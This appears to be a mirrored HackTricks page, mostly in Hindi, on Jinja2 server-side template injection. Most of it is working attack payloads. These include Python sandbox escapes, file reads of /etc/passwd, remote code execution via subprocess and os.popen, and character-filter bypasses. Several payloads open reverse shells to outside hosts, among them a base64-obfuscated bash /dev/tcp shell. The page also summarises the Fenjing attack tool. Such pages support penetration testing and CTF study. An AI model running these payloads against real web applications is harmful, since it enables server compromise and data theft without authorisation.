mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
330 lines
17 KiB
Markdown
330 lines
17 KiB
Markdown
# Jinja2 SSTI
|
|
|
|
{{#include ../../banners/hacktricks-training.md}}
|
|
|
|
|
|
## **प्रयोगशाला**
|
|
```python
|
|
from flask import Flask, request, render_template_string
|
|
|
|
app = Flask(__name__)
|
|
|
|
@app.route("/")
|
|
def home():
|
|
if request.args.get('c'):
|
|
return render_template_string(request.args.get('c'))
|
|
else:
|
|
return "Hello, send someting inside the param 'c'!"
|
|
|
|
if __name__ == "__main__":
|
|
app.run()
|
|
```
|
|
## **Misc**
|
|
|
|
### **Debug Statement**
|
|
|
|
यदि Debug Extension सक्षम है, तो एक `debug` टैग उपलब्ध होगा जो वर्तमान संदर्भ के साथ-साथ उपलब्ध फ़िल्टर और परीक्षणों को डंप करेगा। यह टेम्पलेट में उपयोग के लिए उपलब्ध चीज़ों को देखने के लिए उपयोगी है बिना डिबगर सेट किए।
|
|
```python
|
|
<pre>
|
|
|
|
{% raw %}
|
|
{% debug %}
|
|
{% endraw %}
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
</pre>
|
|
```
|
|
### **सभी कॉन्फ़िगरेशन वेरिएबल्स को डंप करें**
|
|
```python
|
|
{{ config }} #In these object you can find all the configured env variables
|
|
|
|
|
|
{% raw %}
|
|
{% for key, value in config.items() %}
|
|
<dt>{{ key|e }}</dt>
|
|
<dd>{{ value|e }}</dd>
|
|
{% endfor %}
|
|
{% endraw %}
|
|
|
|
|
|
|
|
|
|
|
|
|
|
```
|
|
## **Jinja Injection**
|
|
|
|
सबसे पहले, Jinja injection में आपको **sandbox से बाहर निकलने का एक तरीका ढूंढना होगा** और नियमित python execution flow तक पहुंच प्राप्त करनी होगी। ऐसा करने के लिए, आपको **objects का दुरुपयोग करना होगा** जो **non-sandboxed environment से हैं लेकिन sandbox से सुलभ हैं**।
|
|
|
|
### Global Objects तक पहुंच
|
|
|
|
उदाहरण के लिए, कोड `render_template("hello.html", username=username, email=email)` में objects username और email **non-sandboxed python env से आते हैं** और **sandboxed env के अंदर सुलभ होंगे।**\
|
|
इसके अलावा, अन्य objects हैं जो **हमेशा sandboxed env से सुलभ होंगे**, ये हैं:
|
|
```
|
|
[]
|
|
''
|
|
()
|
|
dict
|
|
config
|
|
request
|
|
```
|
|
### Recovering \<class 'object'>
|
|
|
|
फिर, इन ऑब्जेक्ट्स से हमें क्लास तक पहुंचने की आवश्यकता है: **`<class 'object'>`** ताकि हम परिभाषित **क्लासेस** को **recover** करने की कोशिश कर सकें। इसका कारण यह है कि इस ऑब्जेक्ट से हम **`__subclasses__`** मेथड को कॉल कर सकते हैं और **non-sandboxed** python env से सभी क्लासेस तक पहुंच सकते हैं।
|
|
|
|
उस **ऑब्जेक्ट क्लास** तक पहुंचने के लिए, आपको **क्लास ऑब्जेक्ट** तक पहुंचने की आवश्यकता है और फिर या तो **`__base__`**, **`__mro__()[-1]`** या `.`**`mro()[-1]`** तक पहुंचें। और फिर, **इस ऑब्जेक्ट क्लास** तक पहुंचने के बाद हम **`__subclasses__()`** को **call** करते हैं।
|
|
|
|
इन उदाहरणों को देखें:
|
|
```python
|
|
# To access a class object
|
|
[].__class__
|
|
''.__class__
|
|
()["__class__"] # You can also access attributes like this
|
|
request["__class__"]
|
|
config.__class__
|
|
dict #It's already a class
|
|
|
|
# From a class to access the class "object".
|
|
## "dict" used as example from the previous list:
|
|
dict.__base__
|
|
dict["__base__"]
|
|
dict.mro()[-1]
|
|
dict.__mro__[-1]
|
|
(dict|attr("__mro__"))[-1]
|
|
(dict|attr("\x5f\x5fmro\x5f\x5f"))[-1]
|
|
|
|
# From the "object" class call __subclasses__()
|
|
{{ dict.__base__.__subclasses__() }}
|
|
{{ dict.mro()[-1].__subclasses__() }}
|
|
{{ (dict.mro()[-1]|attr("\x5f\x5fsubclasses\x5f\x5f"))() }}
|
|
|
|
{% raw %}
|
|
{% with a = dict.mro()[-1].__subclasses__() %} {{ a }} {% endwith %}
|
|
|
|
# Other examples using these ways
|
|
{{ ().__class__.__base__.__subclasses__() }}
|
|
{{ [].__class__.__mro__[-1].__subclasses__() }}
|
|
{{ ((""|attr("__class__")|attr("__mro__"))[-1]|attr("__subclasses__"))() }}
|
|
{{ request.__class__.mro()[-1].__subclasses__() }}
|
|
{% with a = config.__class__.mro()[-1].__subclasses__() %} {{ a }} {% endwith %}
|
|
{% endraw %}
|
|
|
|
|
|
|
|
|
|
|
|
|
|
# Not sure if this will work, but I saw it somewhere
|
|
{{ [].class.base.subclasses() }}
|
|
{{ ''.class.mro()[1].subclasses() }}
|
|
```
|
|
### RCE Escaping
|
|
|
|
**पुनर्प्राप्त करने के बाद** `<class 'object'>` और `__subclasses__` को कॉल करने के बाद, हम अब उन कक्षाओं का उपयोग फ़ाइलें पढ़ने और लिखने और कोड निष्पादित करने के लिए कर सकते हैं।
|
|
|
|
`__subclasses__` को कॉल करने से हमें **सैकड़ों नई कार्यक्षमताओं** तक पहुँचने का अवसर मिला है, हम **फ़ाइल कक्षा** तक पहुँचकर **फ़ाइलें पढ़ने/लिखने** या किसी भी कक्षा तक पहुँचकर खुश होंगे जो **आदेश निष्पादित करने की अनुमति देती है** (जैसे `os`)।
|
|
|
|
**रिमोट फ़ाइल पढ़ें/लिखें**
|
|
```python
|
|
# ''.__class__.__mro__[1].__subclasses__()[40] = File class
|
|
{{ ''.__class__.__mro__[1].__subclasses__()[40]('/etc/passwd').read() }}
|
|
{{ ''.__class__.__mro__[1].__subclasses__()[40]('/var/www/html/myflaskapp/hello.txt', 'w').write('Hello here !') }}
|
|
```
|
|
**RCE**
|
|
```python
|
|
# The class 396 is the class <class 'subprocess.Popen'>
|
|
{{''.__class__.mro()[1].__subclasses__()[396]('cat flag.txt',shell=True,stdout=-1).communicate()[0].strip()}}
|
|
|
|
# Without '{{' and '}}'
|
|
|
|
<div data-gb-custom-block data-tag="if" data-0='application' data-1='][' data-2='][' data-3='__globals__' data-4='][' data-5='__builtins__' data-6='__import__' data-7='](' data-8='os' data-9='popen' data-10='](' data-11='id' data-12='read' data-13=']() == ' data-14='chiv'> a </div>
|
|
|
|
# Calling os.popen without guessing the index of the class
|
|
{% raw %}
|
|
{% for x in ().__class__.__base__.__subclasses__() %}{% if "warning" in x.__name__ %}{{x()._module.__builtins__['__import__']('os').popen("ls").read()}}{%endif%}{% endfor %}
|
|
{% for x in ().__class__.__base__.__subclasses__() %}{% if "warning" in x.__name__ %}{{x()._module.__builtins__['__import__']('os').popen("python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"ip\",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/cat\", \"flag.txt\"]);'").read().zfill(417)}}{%endif%}{% endfor %}
|
|
|
|
## Passing the cmd line in a GET param
|
|
{% for x in ().__class__.__base__.__subclasses__() %}{% if "warning" in x.__name__ %}{{x()._module.__builtins__['__import__']('os').popen(request.args.input).read()}}{%endif%}{%endfor%}
|
|
{% endraw %}
|
|
|
|
|
|
## Passing the cmd line ?cmd=id, Without " and '
|
|
{{ dict.mro()[-1].__subclasses__()[276](request.args.cmd,shell=True,stdout=-1).communicate()[0].strip() }}
|
|
|
|
```
|
|
**अधिक कक्षाओं** के बारे में जानने के लिए जिन्हें आप **बचने** के लिए उपयोग कर सकते हैं, आप **जांच सकते हैं**:
|
|
|
|
{{#ref}}
|
|
../../generic-methodologies-and-resources/python/bypass-python-sandboxes/
|
|
{{#endref}}
|
|
|
|
### फ़िल्टर बायपास
|
|
|
|
#### सामान्य बायपास
|
|
|
|
ये बायपास हमें **विशेषताओं** तक **पहुँचने** की अनुमति देंगे **बिना कुछ वर्णों का उपयोग किए**।\
|
|
हमने पहले के उदाहरणों में इनमें से कुछ बायपास पहले ही देख लिए हैं, लेकिन आइए उन्हें यहाँ संक्षेप में प्रस्तुत करें:
|
|
```bash
|
|
# Without quotes, _, [, ]
|
|
## Basic ones
|
|
request.__class__
|
|
request["__class__"]
|
|
request['\x5f\x5fclass\x5f\x5f']
|
|
request|attr("__class__")
|
|
request|attr(["_"*2, "class", "_"*2]|join) # Join trick
|
|
|
|
## Using request object options
|
|
request|attr(request.headers.c) #Send a header like "c: __class__" (any trick using get params can be used with headers also)
|
|
request|attr(request.args.c) #Send a param like "?c=__class__
|
|
request|attr(request.query_string[2:16].decode() #Send a param like "?c=__class__
|
|
request|attr([request.args.usc*2,request.args.class,request.args.usc*2]|join) # Join list to string
|
|
http://localhost:5000/?c={{request|attr(request.args.f|format(request.args.a,request.args.a,request.args.a,request.args.a))}}&f=%s%sclass%s%s&a=_ #Formatting the string from get params
|
|
|
|
## Lists without "[" and "]"
|
|
http://localhost:5000/?c={{request|attr(request.args.getlist(request.args.l)|join)}}&l=a&a=_&a=_&a=class&a=_&a=_
|
|
|
|
# Using with
|
|
|
|
{% raw %}
|
|
{% with a = request["application"]["\x5f\x5fglobals\x5f\x5f"]["\x5f\x5fbuiltins\x5f\x5f"]["\x5f\x5fimport\x5f\x5f"]("os")["popen"]("echo -n YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNC40LzkwMDEgMD4mMQ== | base64 -d | bash")["read"]() %} a {% endwith %}
|
|
{% endraw %}
|
|
|
|
|
|
|
|
|
|
|
|
|
|
```
|
|
- [**यहां और विकल्पों के लिए वापस लौटें जो एक वैश्विक ऑब्जेक्ट तक पहुंचने के लिए हैं**](jinja2-ssti.md#accessing-global-objects)
|
|
- [**यहां और विकल्पों के लिए वापस लौटें जो ऑब्जेक्ट क्लास तक पहुंचने के लिए हैं**](jinja2-ssti.md#recovering-less-than-class-object-greater-than)
|
|
- [**यह पढ़ें ताकि आप ऑब्जेक्ट क्लास के बिना RCE प्राप्त कर सकें**](jinja2-ssti.md#jinja-injection-without-less-than-class-object-greater-than)
|
|
|
|
**HTML एन्कोडिंग से बचना**
|
|
|
|
डिफ़ॉल्ट रूप से Flask सुरक्षा कारणों से एक टेम्पलेट के अंदर सभी को HTML एन्कोड करता है:
|
|
```python
|
|
{{'<script>alert(1);</script>'}}
|
|
#will be
|
|
<script>alert(1);</script>
|
|
```
|
|
**`safe`** फ़िल्टर हमें पृष्ठ में JavaScript और HTML को **बिना** **HTML एन्कोडेड** किए इंजेक्ट करने की अनुमति देता है, जैसे:
|
|
```python
|
|
{{'<script>alert(1);</script>'|safe}}
|
|
#will be
|
|
<script>alert(1);</script>
|
|
```
|
|
**एक बुरे कॉन्फ़िग फ़ाइल को लिखकर RCE।**
|
|
```python
|
|
# evil config
|
|
{{ ''.__class__.__mro__[1].__subclasses__()[40]('/tmp/evilconfig.cfg', 'w').write('from subprocess import check_output\n\nRUNCMD = check_output\n') }}
|
|
|
|
# load the evil config
|
|
{{ config.from_pyfile('/tmp/evilconfig.cfg') }}
|
|
|
|
# connect to evil host
|
|
{{ config['RUNCMD']('/bin/bash -c "/bin/bash -i >& /dev/tcp/x.x.x.x/8000 0>&1"',shell=True) }}
|
|
```
|
|
## बिना कई अक्षरों के
|
|
|
|
बिना **`{{`** **`.`** **`[`** **`]`** **`}}`** **`_`**
|
|
```python
|
|
{% raw %}
|
|
{%with a=request|attr("application")|attr("\x5f\x5fglobals\x5f\x5f")|attr("\x5f\x5fgetitem\x5f\x5f")("\x5f\x5fbuiltins\x5f\x5f")|attr('\x5f\x5fgetitem\x5f\x5f')('\x5f\x5fimport\x5f\x5f')('os')|attr('popen')('ls${IFS}-l')|attr('read')()%}{%print(a)%}{%endwith%}
|
|
{% endraw %}
|
|
|
|
|
|
|
|
|
|
|
|
|
|
```
|
|
## Jinja Injection बिना **\<class 'object'>**
|
|
|
|
[**वैश्विक वस्तुओं**](jinja2-ssti.md#accessing-global-objects) से **उस वर्ग का उपयोग किए बिना RCE प्राप्त करने** का एक और तरीका है।\
|
|
यदि आप उन वैश्विक वस्तुओं में से किसी भी **कार्य** तक पहुँचने में सफल होते हैं, तो आप **`__globals__.__builtins__`** तक पहुँच सकते हैं और वहाँ से **RCE** बहुत **सरल** है।
|
|
|
|
आप **`request`**, **`config`** और किसी भी **अन्य** दिलचस्प **वैश्विक वस्तु** से कार्य **खोज सकते हैं** जिन तक आपकी पहुँच है:
|
|
```bash
|
|
{{ request.__class__.__dict__ }}
|
|
- application
|
|
- _load_form_data
|
|
- on_json_loading_failed
|
|
|
|
{{ config.__class__.__dict__ }}
|
|
- __init__
|
|
- from_envvar
|
|
- from_pyfile
|
|
- from_object
|
|
- from_file
|
|
- from_json
|
|
- from_mapping
|
|
- get_namespace
|
|
- __repr__
|
|
|
|
# You can iterate through children objects to find more
|
|
```
|
|
एक बार जब आप कुछ फ़ंक्शन ढूंढ लेते हैं, तो आप बिल्ट-इन्स को पुनर्प्राप्त कर सकते हैं:
|
|
```python
|
|
# Read file
|
|
{{ request.__class__._load_form_data.__globals__.__builtins__.open("/etc/passwd").read() }}
|
|
|
|
# RCE
|
|
{{ config.__class__.from_envvar.__globals__.__builtins__.__import__("os").popen("ls").read() }}
|
|
{{ config.__class__.from_envvar["__globals__"]["__builtins__"]["__import__"]("os").popen("ls").read() }}
|
|
{{ (config|attr("__class__")).from_envvar["__globals__"]["__builtins__"]["__import__"]("os").popen("ls").read() }}
|
|
|
|
{% raw %}
|
|
{% with a = request["application"]["\x5f\x5fglobals\x5f\x5f"]["\x5f\x5fbuiltins\x5f\x5f"]["\x5f\x5fimport\x5f\x5f"]("os")["popen"]("ls")["read"]() %} {{ a }} {% endwith %}
|
|
{% endraw %}
|
|
|
|
|
|
## Extra
|
|
## The global from config have a access to a function called import_string
|
|
## with this function you don't need to access the builtins
|
|
{{ config.__class__.from_envvar.__globals__.import_string("os").popen("ls").read() }}
|
|
|
|
# All the bypasses seen in the previous sections are also valid
|
|
```
|
|
### Fuzzing WAF bypass
|
|
|
|
**Fenjing** [https://github.com/Marven11/Fenjing](https://github.com/Marven11/Fenjing) एक उपकरण है जो CTFs पर विशेषीकृत है लेकिन वास्तविक परिदृश्य में अमान्य पैरामीटर को ब्रूटफोर्स करने के लिए भी उपयोगी हो सकता है। यह उपकरण केवल शब्दों और प्रश्नों को छिड़कता है ताकि फ़िल्टर का पता लगाया जा सके, बायपास की खोज की जा सके, और एक इंटरैक्टिव कंसोल भी प्रदान करता है।
|
|
```
|
|
webui:
|
|
As the name suggests, web UI
|
|
Default port 11451
|
|
|
|
scan: scan the entire website
|
|
Extract all forms from the website based on the form element and attack them
|
|
After the scan is successful, a simulated terminal will be provided or the given command will be executed.
|
|
Example:python -m fenjing scan --url 'http://xxx/'
|
|
|
|
crack: Attack a specific form
|
|
You need to specify the form's url, action (GET or POST) and all fields (such as 'name')
|
|
After a successful attack, a simulated terminal will also be provided or a given command will be executed.
|
|
Example:python -m fenjing crack --url 'http://xxx/' --method GET --inputs name
|
|
|
|
crack-path: attack a specific path
|
|
Attack http://xxx.xxx/hello/<payload>the vulnerabilities that exist in a certain path (such as
|
|
The parameters are roughly the same as crack, but you only need to provide the corresponding path
|
|
Example:python -m fenjing crack-path --url 'http://xxx/hello/'
|
|
|
|
crack-request: Read a request file for attack
|
|
Read the request in the file, PAYLOADreplace it with the actual payload and submit it
|
|
The request will be urlencoded by default according to the HTTP format, which can be --urlencode-payload 0turned off.
|
|
```
|
|
## संदर्भ
|
|
|
|
- [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#jinja2](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#jinja2)
|
|
- [यहाँ काले सूचीबद्ध वर्णों को बायपास करने के लिए attr ट्रिक की जांच करें](../../generic-methodologies-and-resources/python/bypass-python-sandboxes/index.html#python3).
|
|
- [https://twitter.com/SecGus/status/1198976764351066113](https://twitter.com/SecGus/status/1198976764351066113)
|
|
- [https://hackmd.io/@Chivato/HyWsJ31dI](https://hackmd.io/@Chivato/HyWsJ31dI)
|
|
|
|
{{#include ../../banners/hacktricks-training.md}}
|